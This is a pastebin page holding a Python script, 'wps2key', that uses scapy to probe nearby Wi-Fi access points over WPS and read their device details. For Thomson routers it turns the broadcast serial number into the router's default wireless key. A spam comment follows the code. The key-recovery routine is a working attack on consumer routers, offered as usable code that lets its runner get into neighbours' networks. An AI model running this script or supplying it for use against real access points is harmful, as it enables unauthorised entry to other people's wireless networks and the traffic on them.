Part of Slepp's ProjectsPastebinTURLImagebinFilebin
Feedback -- English French German Japanese
Create Upload Newest Tools Donate
Sign In | Create Account

wps2key
Wednesday, February 8th, 2012 at 12:52:07am UTC 

This post has 1 comment thread shown at the end of this page.

  1. #!/usr/bin/env python
  2.  
  3. from sys import argv, stderr, exit
  4. from getopt import GetoptError, getopt as GetOpt
  5. import hashlib
  6.  
  7. try:
  8.         from scapy.all import *
  9. except Exception, e:
  10.         print 'Failed to import scapy:',e
  11.         exit(1)
  12.  
  13. def ascii2hex(char):
  14.         return hex(ord(char))[2:]
  15.  
  16. def serial2key(serial):
  17.         #print 'Key for Serial Number: CP%s' % serial
  18.         sn = 'CP%s%s%s%s' % (serial[0:4],ascii2hex(serial[6]),ascii2hex(serial[7]),ascii2hex(serial[8]))
  19.         hash = hashlib.sha1(sn.upper()).hexdigest()
  20.         return hash[0:10].upper()
  21.  
  22.  
  23. class WPSQuery:
  24.         bssid = None
  25.         essid = None
  26.         pfile = None
  27.         rprobe = False
  28.         verbose = False
  29.         probedNets = {}
  30.         WPS_ID = "\x00\x50\xF2\x04"
  31.         wps_attributes = {
  32.                         0x104A : {'name' : 'Version                          ', 'type' : 'hex'},
  33.                         0x1044 : {'name' : 'WPS State                        ', 'type' : 'hex'},
  34.                         0x1057 : {'name' : 'AP Setup Locked                  ', 'type' : 'hex'},
  35.                         0x1041 : {'name' : 'Selected Registrar               ', 'type' : 'hex'},
  36.                         0x1012 : {'name' : 'Device Password ID               ', 'type' : 'hex'},
  37.                         0x1053 : {'name' : 'Selected Registrar Config Methods', 'type' : 'hex'},
  38.                         0x103B : {'name' : 'Response Type                    ', 'type' : 'hex'},
  39.                         0x1047 : {'name' : 'UUID-E                           ', 'type' : 'hex'},
  40.                         0x1021 : {'name' : 'Manufacturer                     ', 'type' : 'str'},
  41.                         0x1023 : {'name' : 'Model Name                       ', 'type' : 'str'},
  42.                         0x1024 : {'name' : 'Model Number                     ', 'type' : 'str'},
  43.                         0x1042 : {'name' : 'Serial Number                    ', 'type' : 'str'},
  44.                         0x1054 : {'name' : 'Primary Device Type              ', 'type' : 'hex'},
  45.                         0x1011 : {'name' : 'Device Name                      ', 'type' : 'str'},
  46.                         0x1008 : {'name' : 'Config Methods                   ', 'type' : 'hex'},
  47.                         0x103C : {'name' : 'RF Bands                         ', 'type' : 'hex'},
  48.                         0x1045 : {'name' : 'SSID                             ', 'type' : 'str'},
  49.                         0x102D : {'name' : 'OS Version                       ', 'type' : 'str'}
  50.         }
  51.  
  52.  
  53.         def __init__(self,iface,pfile):
  54.                 if iface:
  55.                         conf.iface = iface
  56.                 if pfile:
  57.                         self.pfile = pfile
  58.  
  59.         def run(self):
  60.                 if self.verbose:
  61.                         if self.pfile:
  62.                                 stderr.write("Reading packets from %s\n\n" % self.pfile)
  63.                         else:
  64.                                 stderr.write("Listening on interface %s\n\n" % conf.iface)
  65.  
  66.                 try:
  67.                         sniff(prn=self.pcap,offline=self.pfile)
  68.                 except Exception, e:
  69.                         print 'Caught exception while running sniff():',e
  70.  
  71.         #Handles captured packets
  72.         def pcap(self,packet):
  73.                 if packet.haslayer(Dot11Beacon):
  74.                         self.beaconh(packet)
  75.                 elif packet.haslayer(Dot11ProbeResp):
  76.                         self.responseh(packet)
  77.  
  78.         #Beacon packet handler
  79.         def beaconh(self,pkt):
  80.                 elt = None
  81.                 eltcount = 1
  82.                 doprobe = False
  83.                 essid = None
  84.                 bssid = pkt[Dot11].addr3.upper()
  85.  
  86.                 #If a specific BSSID and ESSID combination was supplied, skip everything else and just probe it
  87.                 if self.bssid and self.essid:
  88.                         self.probereq(self.essid,self.bssid)
  89.                         return
  90.  
  91.                 #If we've already probed it, processing it's beacon frames won't do us any more good
  92.                 if self.probedNets.has_key(bssid):
  93.                         return
  94.  
  95.                 #Is this the BSSID we're looking for?
  96.                 if self.bssid and self.bssid != bssid:
  97.                         return
  98.  
  99.                 #Loop through all information elements 
  100.                 while elt != pkt.lastlayer(Dot11Elt):
  101.                         elt = pkt.getlayer(Dot11Elt, nb=eltcount)
  102.                         eltcount += 1
  103.  
  104.                         #Get the SSID
  105.                         if elt.ID == 0:
  106.                                 essid = elt.info
  107.                                 #Skip if this is not the SSID we're looking for
  108.                                 if self.essid and essid != self.essid:
  109.                                         return
  110.  
  111.                         #Check for a WPS information element
  112.                         else:
  113.                                 doprobe = self.iswpselt(elt)
  114.                                 if doprobe:
  115.                                         if self.verbose:
  116.                                                 stderr.write("WPS support detected for %s (%s)\n" % (bssid,essid))
  117.                                         break
  118.  
  119.                 #Should we actively probe this AP?
  120.                 if doprobe == True or self.rprobe == True:
  121.                         self.probereq(essid,bssid)
  122.                 return
  123.  
  124.         #Probe response packet handler
  125.         def responseh(self,pkt):
  126.                 wpsdata = []
  127.                 eltcount = 1
  128.                 elt = None
  129.                 bssid = None
  130.                 essid = None
  131.                 bssid = pkt[Dot11].addr3.upper()
  132.  
  133.                 #Is this the BSSID we're looking for?
  134.                 if self.bssid and self.bssid != bssid:
  135.                         return
  136.  
  137.                 #Loop through all information elements
  138.                 while elt != pkt.lastlayer(Dot11Elt):
  139.                         elt = pkt.getlayer(Dot11Elt, nb=eltcount)
  140.                         eltcount += 1
  141.  
  142.                         #Get the SSID
  143.                         if elt.ID == 0:
  144.                                 essid = elt.info
  145.                                 #Don't probe a network multiple times
  146.                                 if essid != None and self.probedNets.has_key(bssid) and self.probedNets[bssid] == essid:
  147.                                         return
  148.                                 #Skip if this is not the SSID we're looking for
  149.                                 if self.essid and essid != self.essid:
  150.                                         return
  151.                                 if self.verbose:
  152.                                         stderr.write("Received probe response from %s (%s)\n" % (bssid,essid))
  153.                         elif self.iswpselt(elt):
  154.                                 wpsdata = self.parsewpselt(elt)
  155.  
  156.                 #Display WPS information
  157.                 if wpsdata:
  158.                         self.printwpsinfo(wpsdata,bssid,essid)
  159.                 elif self.verbose:
  160.                         stderr.write("No WPS element supplied by %s (%s)!\n" % (bssid,essid))
  161.  
  162.                 #Mark this BSSID as complete
  163.                 self.probedNets[bssid] = essid
  164.  
  165.                 return
  166.                
  167.         #Display collected WPS data
  168.         def printwpsinfo(self,wpsdata,bssid,essid):
  169.                 textlen = 33
  170.                 filler = ' '
  171.                 is_valid = 0
  172.  
  173.                 if wpsdata:
  174.                         print ''
  175.                         print 'BSSID:',bssid
  176.                         print 'ESSID:',essid
  177.                         print '----------------------------------------------------------'
  178.  
  179.                         for (header,data,datatype) in wpsdata:
  180.                                 if datatype != 'str':
  181.                                         tdata = data
  182.                                         data = '0x'
  183.                                         for i in tdata:
  184.                                                 byte = str(hex(ord(i)))[2:]
  185.                                                 if len(byte) == 1:
  186.                                                         byte = '0' + byte
  187.                                                 data += byte
  188.                                 header = header + (filler * (textlen-len(header)))
  189.                                 print '%s : %s' % (header,data)
  190.                                 if data == 'THOMSON':
  191.                                         is_valid = 1
  192.                                 elif data == '784n':
  193.                                         is_valid = 0
  194.                                 if header == 'Serial Number                    ':
  195.                                         header = 'DEFAULT KEY                      '
  196.                                         if is_valid == 1:
  197.                                                 data = serial2key(data)
  198.                                         else:
  199.                                                 data = 'UNSUPPORTED'
  200.                                        
  201.                                         print '%s : %s' % (header,data)
  202.                         print ''
  203.  
  204.        
  205.         #Send a probe request to the specified AP
  206.         def probereq(self,essid,bssid):
  207.                 if not essid or not bssid:
  208.                         return
  209.                 if self.probedNets.has_key(bssid):
  210.                         return
  211.                 if self.pfile:
  212.                         return
  213.  
  214.                 if self.verbose:
  215.                         stderr.write("Probing network '%s (%s)'\n" % (bssid,essid))
  216.  
  217.                 try:
  218.                         #Build a probe request packet with a SSID and a WPS information element
  219.                         dst = mac2str(bssid)
  220.                         src = mac2str("ff:ff:ff:ff:ff:ff")
  221.                         packet = Dot11(addr1=dst,addr2=src,addr3=dst)/Dot11ProbeReq()
  222.                         packet = packet/Dot11Elt(ID=0,len=len(essid),info=essid)/Dot11Elt(ID=221,len=9,info="%s\x10\x4a\x00\x01\x10" % self.WPS_ID)
  223.                        
  224.                         #Send it!
  225.                         send(packet,verbose=0)
  226.                         self.probedNets[bssid] = None
  227.                 except Exception, e:
  228.                         print 'Failure sending probe request to',essid,':',e
  229.  
  230.  
  231.         #Check if an element is a WPS element
  232.         def iswpselt(self,elt):
  233.                 if elt.ID == 221:
  234.                         if elt.info.startswith(self.WPS_ID):
  235.                                 return True
  236.                 return False
  237.  
  238.        
  239.         #Parse a WPS element
  240.         def parsewpselt(self,elt):
  241.                 data = []
  242.                 tagname = None
  243.                 tagdata = None
  244.                 datatype = None
  245.                 tag = 0
  246.                 tlen = 0
  247.                 i = len(self.WPS_ID)
  248.  
  249.                 try:
  250.                         if self.iswpselt(elt):
  251.                                 while i < elt.len:
  252.                                         #Get tag number and length
  253.                                         tag = int((ord(elt.info[i]) * 0x100) + ord(elt.info[i+1]))
  254.                                         i += 2
  255.                                         tlen = int((ord(elt.info[i]) * 0x100) + ord(elt.info[i+1]))
  256.                                         i += 2
  257.  
  258.                                         #Get the tag data
  259.                                         tagdata = elt.info[i:i+tlen]
  260.                                         i += tlen
  261.                        
  262.                                         #Lookup the tag name and type
  263.                                         try:
  264.                                                 tagname = self.wps_attributes[tag]['name']
  265.                                                 datatype = self.wps_attributes[tag]['type']
  266.                                         except Exception, e:
  267.                                                 tagname = 'Unknown'
  268.                                                 datatype = 'hex'
  269.  
  270.                                         #Append to array
  271.                                         data.append((tagname,tagdata,datatype))
  272.                 except Exception,e:
  273.                         print 'Exception processing WPS element:',e
  274.  
  275.                 return data
  276.  
  277. def about():
  278.         print '''
  279. WPScan actively scans access points that support WiFi Protected Setup by sending
  280. 802.11 probe requests to them. It then examines the WPS information element in the
  281. resulting 802.11 probe response and displays the information contained in that IE.
  282.  
  283. This is useful for fingerprinting WPS-capable access points, as many of them will
  284. include their vendor, model number, and firmware versions in the WPS IE of the
  285. probe response.
  286. '''
  287.         exit(0)
  288.        
  289. def usage():
  290.         print '''
  291. Usage: %s [OPTIONS]
  292.  
  293.         -i <iface>      Specify the interface to listen on
  294.         -p <file>       Specify pcap file to read from
  295.         -b <bssid>      Specify a bssid filter
  296.         -e <essid>      Specify an essid filter
  297.         -n            Probe all networks
  298.         -v            Enable verbose mode
  299.         -a            Show about information
  300.         -h            Show help
  301. ''' % argv[0]
  302.         exit(1)
  303.  
  304.  
  305. def main():
  306.         bssid = None
  307.         essid = None
  308.         iface = None
  309.         pfile = None
  310.         probeall = False
  311.         verbose = False
  312.  
  313.         try:
  314.                 opts,args = GetOpt(argv[1:],"b:e:i:p:ainvh");
  315.         except GetoptError, e:
  316.                 print 'Usage Error:',e
  317.                 usage()
  318.  
  319.         for opt,optarg in opts:
  320.                 if opt == '-b':
  321.                         bssid = optarg.upper()
  322.                 elif opt == '-e':
  323.                         essid = optarg
  324.                 elif opt == '-i':
  325.                         iface = optarg
  326.                 elif opt == '-p':
  327.                         pfile = optarg
  328.                 elif opt == '-v':
  329.                         verbose = True
  330.                 elif opt == '-n':
  331.                         probeall = True
  332.                 elif opt == '-a':
  333.                         about()
  334.                 else:
  335.                         usage()
  336.  
  337.                
  338.         wps = WPSQuery(iface,pfile)
  339.         wps.bssid = bssid
  340.         wps.essid = essid
  341.         wps.rprobe = probeall
  342.         wps.verbose = verbose
  343.         wps.run()
  344.  
  345.  
  346. if __name__ == "__main__":
  347.         main()

Update the Post

Either update this post and resubmit it with changes, or make a new post.

You may also comment on this post.

update paste below
details of the post (optional)

Note: Only the paste content is required, though the following information can be useful to others.

Save name / title?

(space separated, optional)



Please note that information posted here will expire by default in one month. If you do not want it to expire, please set the expiry time above. If it is set to expire, web search engines will not be allowed to index it prior to it expiring. Items that are not marked to expire will be indexable by search engines. Be careful with your passwords. All illegal activities will be reported and any information will be handed over to the authorities, so be good.

comments powered by Disqus

comments on this paste

bllLjYNrzxgyRX

Posted By: Sopoyono (zKrRuppJuw)

Posted: February 18th, 2012 at 11:09pm UTC

Easier said than done for some ppoele.Some families thrive on problems. let them get on with it in their way without imposing anything on them.VA:F [1.9.6_1107]please wait...VA:F [1.9.6_1107](from 0 votes)

worth-right
worth-right
worth-right